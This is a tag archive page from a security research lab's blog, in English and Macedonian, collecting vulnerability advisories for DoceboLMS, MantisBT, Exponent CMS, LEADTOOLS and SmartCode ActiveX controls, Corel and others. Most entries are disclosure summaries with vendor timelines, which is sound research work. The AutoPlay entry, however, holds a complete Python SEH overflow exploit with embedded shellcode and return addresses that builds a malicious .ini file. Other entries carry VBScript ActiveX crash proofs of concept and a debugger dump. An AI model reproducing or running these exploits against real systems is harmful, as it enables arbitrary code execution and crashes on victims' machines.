Posts Tagged ‘ exploit

DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities

DoceboLMS suffers from multiple stored XSS vulnerabilities pre and post auth. Input thru the POST parameters ‘name’, ‘code’ and ‘title’ in index.php is not sanitized allowing the attacker to execute HTML code into user’s browser session on the affected site. URI based XSS vulnerabilities are also present.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5006.php

AutoPlay v1.33 (autoplay.ini) Local Buffer Overflow Exploit (SEH)

The program suffers from a buffer overflow vulnerability when openinng autorun file (.ini), as a result of adding extra bytes to parts of the edited file, giving the atackers the possibility for an arbitrary code execution on the affected system. Also the buffer overflow vulnerability allows the atacker to bypass Structured Exception Handling (SEH) protection mechanism.

———-code———-

from struct import *
import time
f=open(“AutoPlay.ini”,”w”)

shell=(“\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x61”
“\x28\x38\x56\x83\xeb\xfc\xe2\xf4\x9d\xc0\x7c\x56\x61\x28\xb3\x13”
“\x5d\xa3\x44\x53\x19\x29\xd7\xdd\x2e\x30\xb3\x09\x41\x29\xd3\x1f”
“\xea\x1c\xb3\x57\x8f\x19\xf8\xcf\xcd\xac\xf8\x22\x66\xe9\xf2\x5b”
“\x60\xea\xd3\xa2\x5a\x7c\x1c\x52\x14\xcd\xb3\x09\x45\x29\xd3\x30”
“\xea\x24\x73\xdd\x3e\x34\x39\xbd\xea\x34\xb3\x57\x8a\xa1\x64\x72”
“\x65\xeb\x09\x96\x05\xa3\x78\x66\xe4\xe8\x40\x5a\xea\x68\x34\xdd”
“\x11\x34\x95\xdd\x09\x20\xd3\x5f\xea\xa8\x88\x56\x61\x28\xb3\x3e”
“\x5d\x77\x09\xa0\x01\x7e\xb1\xae\xe2\xe8\x43\x06\x09\xd8\xb2\x52”
“\x3e\x40\xa0\xa8\xeb\x26\x6f\xa9\x86\x4b\x59\x3a\x02\x28\x38\x56”);

head=(“\x5b\x47\x65\x6e\x65\x72\x61\x6c\x5d\x0d\x0a\x54\x69\x74\x6c\x65”
“\x3d\x41\x20\x73\x61\x6d\x70\x6c\x65\x20\x6f\x66\x20\x77\x68\x61”
“\x74\x20\x41\x75\x74\x6f\x50\x6c\x61\x79\x20\x63\x61\x6e\x20\x64”
“\x6f\x21\x0d\x0a\x49\x63\x6f\x6e\x3d\x2e\x5c\x61\x75\x74\x6f\x70”
“\x6c\x61\x79\x2e\x69\x63\x6f\x0d\x0a\x53\x74\x61\x72\x74\x75\x70”
“\x53\x6f\x75\x6e\x64\x3d\x2e\x5c\x64\x72\x75\x6d\x72\x6f\x6c\x6c”
“\x2e\x77\x61\x76\x0d\x0a\x45\x78\x69\x74\x53\x6f\x75\x6e\x64\x3d”
“\x2e\x5c\x65\x78\x70\x6c\x6f\x64\x65\x2e\x77\x61\x76\x0d\x0a\x4e”
“\x75\x6d\x62\x65\x72\x4f\x66\x42\x75\x74\x74\x6f\x6e\x73\x3d\x37”
“\x0d\x0a\x42\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x42\x69\x74\x6d”
“\x61\x70\x3d\x2e\x5c\x73\x70\x6c\x61\x73\x68\x2e\x6a\x70\x67\x0d”
“\x0a\x4e\x75\x6d\x62\x65\x72\x4f\x66\x43\x6f\x6d\x62\x6f\x73\x3d”
“\x31\x0d\x0a\x0d\x0a\x5b\x42\x75\x74\x74\x6f\x6e\x31\x5d\x0d\x0a”
“\x43\x6f\x6d\x6d\x61\x6e\x64\x54\x79\x70\x65\x3d\x31\x0d\x0a\x43”
“\x6f\x6d\x6d\x61\x6e\x64\x3d\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e”
“\x65\x78\x65\x0d\x0a\x46\x6c\x79\x62\x79\x53\x6f\x75\x6e\x64\x3d”
“\x2e\x5c\x68\x6f\x76\x65\x72\x73\x65\x6c\x2e\x77\x61\x76\x0d\x0a”
“\x4c\x65\x66\x74\x3d\x38\x33\x0d\x0a\x54\x6f\x70\x3d\x31\x33\x0d”
“\x0a\x54\x65\x78\x74\x43\x6f\x6c\x6f\x72\x3d\x32\x35\x35\x2c\x30”
“\x2c\x30\x0d\x0a\x48\x69\x67\x68\x6c\x69\x67\x68\x74\x43\x6f\x6c”
“\x6f\x72\x3d\x32\x35\x35\x2c\x32\x35\x35\x2c\x30\x0d\x0a\x43\x61”
“\x70\x74\x69\x6f\x6e\x3d\x52\x75\x6e\x20\x57\x69\x6e\x64\x6f\x77”
“\x73\x20\x45\x78\x70\x6c\x6f\x72\x65\x72\x0d\x0a\x46\x6f\x6e\x74”
“\x53\x69\x7a\x65\x3d\x32\x34\x0d\x0a\x46\x6f\x6e\x74\x4e\x61\x6d”
“\x65\x3d”)

junk=”\x41”*32
junk1=”\x41”*92
nseh=”\xeb\x06\x90\x90”
seh=”\x62\xce\x86\x7c” # pop pop ret
esp=”\x7b\x46\x86\x7c” # jmp esp
try:
f.write(head+junk+esp+junk1+nseh+seh+shell)
f.close()
print(“File created”)
except:
print(“File cannot be created”)

———-code———-

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4994.php

Macro Express Pro 4.2.2.1 MXE File Syntactic Analysis Buffer Overflow PoC

A buffer overflow vulnerability has been identified in Macro Express Pro, possibly this vuln may exist in the regular version and older versions of Macro Express and Macro Express Pro. We’ve reported the issue to the vendor thru their bug reporting system (http://www.macros.com/bugreport.htm) and did not receive any response for confirmation or cooperation.

We’ve managed to overwrite few registers while debugging the application, thus executed arbitrary code on the affected system.

You can take a look at the advisory here: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4986.php

Mantis Bug Tracker безбедносни предупредувања и закрпи

Денеска, Zero Science Lab во соработка со MantisBT Group објави безбедносни предупредувања и закрпи за популарниот систем за следење на грешки или багови MantisBT (отворен код). Се работи за неколку сериозни ранливости со чија помош, напаѓачот може да дојде до осетливи информации на заразениот систем со пропатување на директориуми или пак да извршува HTML код во корисничкиот прелистувач со помош на XSS напад.

Слабоста се наоѓа во “upgrade_unattended.php” скриптата, која се наоѓа во “admin” папката. При повикување на параметарот “db_type” било со GET или POST методата, апликацијата не извшува доволно и контролирано санирање на корисничкото внесување при што се откриваат системски информации.

По дефинирање, се работи за Reflected (Non-persistent) Cross-Site Scripting, Local File Inclusion/Disclosure и Path Disclosure ранливости. Ние извршивме тестирање на “live” веб-страници (со дозвола), и заклучивме да ги рангираме ранливостите како Medium Risk (xss) и High Risk (lfi).

Голема благодарност до Дејвид Хикс и Виктор Боктор од MantisBT групата, кои одговорија на пријавените слабости и реагираа во најбрз временски период како и во објавување на закрпа и предупредувања после кое следеше објавување на 1.2.4 верзијата. Иако Дејвид напоменуваше дека имало “Warning” дека папката “admin” треба да се избрише после инсталација, јас такво предупредување не видов поради различните оперативни системи и PHP пермисии, и заклучивме дека многу инсталации на интернетот (кои користат MantisBT) се со присатен “admin” фолдер.

Освен јавно објавените предупредувања, објавивме и официјален Google Dork на Exploit-DB заедницата: http://www.exploit-db.com/ghdb/3651/

Предупредувањата од ZSL како и од MantisBT можете да ги погледнете подолу:

ZSL-2010-4983: MantisBT <=1.2.3 (db_type) Cross-Site Scripting & Path Disclosure Vulnerability
ZSL-2010-4983: MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability
MantisBT: http://www.mantisbt.org/bugs/view.php?id=12607

Ажурирајте. ;}

Exponent CMS v0.97 Multiple Vulnerabilities

Vendor: OIC Group Inc.
Product web page: http://www.exponentcms.org
Affected version: 0.97

Summary: Open Source Content Management System (PHP+MySQL).

Desc: Exponent CMS suffers from multiple vulnerabilities:

#1. Local File Inclusion / File Disclosure Vulnerability
#2. Arbitrary File Upload / File Modify Vulnerability
#3. Reflected Cross-Site Scripting Vulnerability

(1) LFI/FD occurs when input passed thru the params:
– “action”
– “expid”
– “ajax_action”
– “printerfriendly”
– “section”
– “module”
– “controller”
– “int”
– “src”
– “template”
– “page”
– “_common”

to the scripts:
– “index.php”
– “login_redirect.php”
– “mod_preview.php”
– “podcast.php”
– “popup.php”
– “rss.php”

is not properly verified before being used to include files.
This can be exploited to include files from local resources
with directory traversal attacks and URL encoded NULL bytes.

(2) AFU/E occurs due to an error in:
– “upload_fileuploadcontrol.php”
– “upload_standalone.php”
– “manifest.php”
– “delete.php”
– “edit.php”
– “manage.php”
– “rank_switch.php”
– “save.php”
– “view.php”
– “class.php”
– “deps.php”
– “delete_form.php”
– “delete_process.php”
– “search.php”
– “send_feedback.php”
– “viewday.php”
– “viewmonth.php”
– “viewweek.php”
– “testbot.php”
– “activate_bot.php”
– “deactivate_bot.php”
– “manage_bots.php”
– “run_bot.php”
– “class.php”
– “delete_board.php”
– “delete_post.php”
– “edit_board.php”
– “edit_post.php”
– “edit_rank.php”
– “monitor_all_boards.php”
– “monitor_board.php”
– “monitor_thread.php”
– “preview_post.php”
– “save_board.php”
– “save_post.php”
– “save_rank.php”
– “view_admin.php”
– “view_board.php”
– “view_rank.php”
– “view_thread.php”
– “banner_click.php”
– “ad_delete.php”
– “ad_edit.php”
– “ad_save.php”
– “af_delete.php”
– “af_edit.php”
– “af_save.php”
– “delete_article.php”
– “edit_article.php”
– “save_article.php”
– “save_submission.php”
– “submit_article.php”
– “view_article.php”
– “view_submissions.php”
– “coretasks.php”
– “htmlarea_tasks.php”
– “search_tasks.php”
– “clear_smarty_cache.php”
– “configuresite.php”
– “config_activate.php”
– “config_configuresite.php”
– “config_delete.php”
– “config_save.php”
– “examplecontent.php”
– “finish_install_extension.php”
– “gmgr_delete.php”
– “gmgr_editprofile.php”
– “gmgr_membership.php”
– “gmgr_savegroup.php”
– “gmgr_savemembers.php”

as it allows uploads of files with multiple extensions to a
folder inside the web root. This can be exploited to execute
arbitrary PHP code by uploading a specially crafted PHP script.

The uploaded files are stored in: [CMS_ROOT_HOST]\files

(3) XSS occurs when input passed to the params:
– “u”
– “expid”
– “ajax_action”
– “ss”
– “sm”
– “url”
– “rss_url”
– “lang”
– “toolbar”
– “section”
– “section_name”
– “src”

in scripts:
– “slideshow.js.php”
– “picked_source.php”
– “magpie_debug.php”
– “magpie_simple.php”
– “magpie_slashbox.php”
– “test.php”
– “fcktoolbarconfig.js.php”
– “section_linked.php”
– “index.php”

is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script
code in a user’s browser session in context of an affected site.

Tested on: Microsoft Windows XP Professional SP3 (English)
Apache 2.2.14 (Win32)
MySQL 5.1.41
PHP 5.3.1

Vendor status: [09.10.2010] Vulnerabilities discovered.
[10.10.2010] Vendor contacted.
[13.10.2010] No reply from vendor.
[14.10.2010] Public advisory released.

Advisory ID: ZSL-2010-4969
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4969.php

Vulnerabilities discovered by: Gjoko ‘LiquidWorm’ Krstic
liquidworm gmail com
Zero Science Lab – http://www.zeroscience.mk

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4969.php

Raw analysis (hi 5 John Leitch): Log_Exponent.txt (616 KB)

LEADTOOLS ActiveX Common Dialogs 16.5 Multiple Remote Vulnerabilities

Vendor: LEAD Technologies, Inc.
Product Web Page: http://www.leadtools.com
Affected version: 16.5.0.2

Summary: With LEADTOOLS you can control any scanner, digital camera
or capture card that has a TWAIN (32 and 64 bit) device driver.
High-level acquisition support is included for ease of use while
low-level functionality is provided for flexibility and control in
even the most demanding scanning applications.

Desc: LEADTOOLS ActiveX Common Dialogs suffers from multiple remote
vulnerabilities (IoF, BoF, DoS) as it fails to sanitize the input in
different objects included in the Common Dialogs class.

Vulnerable Objects/OCX Dialogs (Win32):

1. ActiveX Common Dialogs (Web) ——————–> LtocxWebDlgu.dll
2. ActiveX Common Dialogs (Effects) —————-> LtocxEfxDlgu.dll
3. ActiveX Common Dialogs (Image) ——————> LtocxImgDlgu.dll
4. ActiveX Common Dialogs (Image Effects) ———-> LtocxImgEfxDlgu.dll
5. ActiveX Common Dialogs (Image Document)———-> LtocxImgDocDlgu.dll
6. ActiveX Common Dialogs (Color) ——————> LtocxClrDlgu.dll
7. ActiveX Common Dialogs (File) ——————-> LtocxFileDlgu.dll

Advisory: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2010-4961.php

LEADTOOLS ActiveX Raster Twain v16.5 (LtocxTwainu.dll) Remote Buffer Overflow PoC

Vendor: LEAD Technologies, Inc.
Product Web Page: http://www.leadtools.com
Affected Version: 16.5.0.2

Summary: With LEADTOOLS you can control any scanner, digital camera
or capture card that has a TWAIN (32 and 64 bit) device driver.
High-level acquisition support is included for ease of use while
low-level functionality is provided for flexibility and control in
even the most demanding scanning applications.

Desc: The Raster Twain Object Library suffers from a buffer overflow
vulnerability because it fails to check the boundry of the user input.

Tested On: Microsoft Windows XP Professional SP3 (EN)
Windows Internet Explorer 8.0.6001.18702
RFgen Mobile Development Studio 4.0.0.06 (Enterprise)

===============================================================

(2c4.2624): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130041 ebx=100255bc ecx=01649000 edx=00183984 esi=0013ef6c edi=00000000
eip=7c912f4e esp=0013eda8 ebp=0013eda8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
ntdll!wcscpy+0xe:
7c912f4e 668901          mov     word ptr [ecx],ax        ds:0023:01649000=????
0:000> g
(2c4.2624): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00410039 ebx=00410039 ecx=00150000 edx=00150608 esi=00150000 edi=00410041
eip=7c96c540 esp=0013f220 ebp=0013f228 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
ntdll!RtlpNtMakeTemporaryKey+0x6a74:
7c96c540 807b07ff        cmp     byte ptr [ebx+7],0FFh      ds:0023:00410040=??

==================================================================

Registers:
————————————————–
EIP 7C912F4E
EAX 00130041
EBX 100255BC -> 10014840 -> Asc: @H@H
ECX 01649000
EDX 001839DC -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EDI 00000000
ESI 0013EF6C -> BAAD0008
EBP 0013EDA8 -> 0013EDDC
ESP 0013EDA8 -> 0013EDDC

EIP 7C96C540
EAX 00410039
EBX 00410039
ECX 00150000 -> 000000C8
EDX 00150608 -> 7C97B5A0
EDI 00410041
ESI 00150000 -> 000000C8
EBP 0013F228 -> 0013F278
ESP 0013F220 -> 00150000

ArgDump:
————————————————–
EBP+8    016479B0 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP+12    0018238C -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP+16    00000000
EBP+20    0013EF6C -> BAAD0008
EBP+24    100255BC -> 10014840 -> Asc: @H@H
EBP+28    0013EDB8 -> 00000000

EBP+8    00150000 -> 000000C8
EBP+12    00410039
EBP+16    7C96DBA4 -> Asc: RtlGetUserInfoHeap
EBP+20    00000000
EBP+24    00410041
EBP+28    7C80FF12 -> 9868146A

CompanyName        LEAD Technologies, Inc.
FileDescription        LEADTOOLS ActiveX Raster Twain (Win32)
FileVersion        16,5,0,2
InternalName        LTRTNU
LegalCopyright        © 1991-2009 LEAD Technologies, Inc.
OriginalFileName        LTRTNU.DLL
ProductName        LEADTOOLS® for Win32
ProductVersion        16.5.0.0

Report for Clsid: {00165752-B1BA-11CE-ABC6-F5B2E79D9E3F}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False

Exception Code: ACCESS_VIOLATION

Disasm: 7C912F4E    MOV [ECX],AX    (ntdll.dll)
Disasm: 7C96C540    CMP BYTE PTR [EBX+7],FF    (ntdll.dll)

Exception Code: BREAKPOINT

Disasm: 7C90120E    INT3    (ntdll.dll)

Seh Chain:
————————————————–
1     7C839AC0     KERNEL32.dll
2     FC2950         VBSCRIPT.dll
3     7C90E900     ntdll.dll

7C912F4E    MOV [ECX],AX            <— CRASH
7C96C540    CMP BYTE PTR [EBX+7],FF        <— CRASH
7C90120F    RETN                <— CRASH

==================================================================

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
liquidworm gmail com

Zero Science Lab – http://www.zeroscience.mk

24.08.2010

Zero Science Lab Advisory ID: ZSL-2010-4960
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4960.php

PoC:

<object classid=’clsid:00165752-B1BA-11CE-ABC6-F5B2E79D9E3F’ id=’target’ />
<script language=’vbscript’>

targetFile = “C:\Program Files\RFGen40\LtocxTwainu.dll”
prototype  = “Property Let AppName As String”
memberName = “AppName”
progid     = “LTRASTERTWAINLib_U.LEADRasterTwain_U”
argCount   = 1

arg1=String(9236, “A”)

target.AppName = arg1

</script>

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4960_pvt.php

Multiple Vendors DLL Hijacking Exploits

Токму така :)

H D Moore (Metasploit Project) по изјавувањето дека пронашол 40-тина ранливости во Microsoft производи, на 22-ри август го објави и приборот за ревизија на DLL библиотеките и нивно “киднапирање” или hijacking. Се работи за DLLHijackAuditKit v2 со кој извршувате проверка за сите екстензии регистрирани во вашиот систем и нивни соодветни библиотеки, како и нивна експлоатација. Приборот се користи едноставно, ревизијата трае од 15-30 минути и потоа се креираат експлоатациски кодови во фолдер Exploits кои можете да ги користите за било какви цели :)

Повеќе: http://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.html и http://blog.metasploit.com/2010/08/better-faster-stronger.html.

Се разбира, тимот на Zero Science Lab за да не остане покус, изврши ревизија и на еден од своите лабораториските системи и пронајде доста ранливости кои следуваат…

- Adobe Device Central CS5 v3.0.1.0 (dwmapi.dll) DLL Hijacking Exploit

- Adobe Extension Manager CS5 v5.0.298 (dwmapi.dll) DLL Hijacking Exploit

- Adobe ExtendedScript Toolkit CS5 v3.5.0.52 (dwmapi.dll) DLL Hijacking Exploit

- CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit

- Corel PHOTO-PAINT X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit

- Google Earth v5.1.3535.3218 (quserex.dll) DLL Hijacking Exploit

- Media Player Classic 6.4.9.1 (iacenc.dll) DLL Hijacking Exploit

- Microsoft Office PowerPoint 2007 v12.0.4518 (pp4x322.dll) DLL Hijacking Exploit

- Nullsoft Winamp 5.581 (wnaspi32.dll) DLL Hijacking Exploit

- Microsoft Visio 2010 v14.0.4514.1004 (dwmapi.dll) DLL Hijacking Exploit

Откако беше објавен DLL Hijack Audit Kit v2 приборот, во светот се објавија повеќе од 100-тина експлоити во рок од неколку дена, поради кое, Microsoft реагираше веднаш со објавување на алатка која ги заобиколуваше овие слабости.

Извор: http://www.computerworld.com/s/article/9181518/Microsoft_releases_tool_to_block_DLL_load_hijacking_attacks?taxonomyId=17&pageNumber=1

Алатката можете да ја преземете на следниов линк: http://support.microsoft.com/kb/2264107 (услов: валиден оперативен систем)

Вакви експлоити сеуште се објавуваат додека го читате текстов и е застрашувачки. Внимавајте од кого преземате податоци и бидете безбедни.

Досега, најбрзо објавување на ваквите експлоити можете да ги пратите на Exploit-DB: http://www.exploit-db.com/local/

Zero Science Lab

SmartCode ServerX VNC Server ActiveX 1.1.5.0 (scvncsrvx.dll) DoS Exploit

The vulnerability exist in the CSC_ServerXControl class with all its members. When parsing overly long string while listening for incoming connection the application crashes along with IE, corrupting the memory.

PoC:

<html>
<object classid=’clsid:8818CF4D-2190-49C3-B7EB-B9F2AE198CB1′ id=’zsl’ />
<script language=’vbscript’>

dos=String(18212, “A”)

zsl.Password = dos

</script>
</html>

http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2010-4948.php

Corel WordPerfect Office X5 and Corel Presentations X5 File Handling Vulnerabilities

- Corel WordPerfect Office X5 15.0.0.357 (wpd) Remote Buffer Preoccupation PoC

– Corel Presentations X5 15.0.0.357 (shw) Remote Buffer Preoccupation PoC

Corel Corporation

http://www.corel.com

Version: 15.0.0.357 (Standard Edition)

– Summary: Corel® WordPerfect® Office X5 – Standard Edition is the essential
office suite for word processing, spreadsheets, presentations and email.
Chosen over Microsoft® Office by millions of longtime users, it integrates
the latest productivity software with the best of the Web. Work faster and
collaborate more efficiently with all-new Web services, new Microsoft® Office
SharePoint® support, more PDF tools and even better compatibility with Microsoft
Office. It’s everything you expect in an office suite—for less.

– Desc: Corel WordPerfect and Corel Presentations X5 is prone to a remote buffer overflow vulnerability because
the application fails to perform adequate boundary checks on user supplied input with
.WPD (WordPerfect Document) and .SHW (Presentations Slide Show) file. Attackers may exploit this issue to execute arbitrary
code in the context of the application. Failed attacks will cause denial-of-service
conditions.

– Tested On: Microsoft Windows XP Professional SP3 (English)

– Vulnerability Discovered By: Gjoko ‘LiquidWorm’ Krstic

– liquidworm gmail com

– Zero Science Lab – http://www.zeroscience.mk

– 09.07.2010

– Vendor status:

[09.07.2010] Vulnerability discovered.
[09.07.2010] Initial contact with the vendor.
[12.07.2010] No reply from vendor.
[12.07.2010] Public advisory released.

Details:

Corel Presentations X5 15.0.0.357 (shw) Remote Buffer Preoccupation PoC
Corel WordPerfect Office X5 15.0.0.357 (wpd) Remote Buffer Preoccupation PoC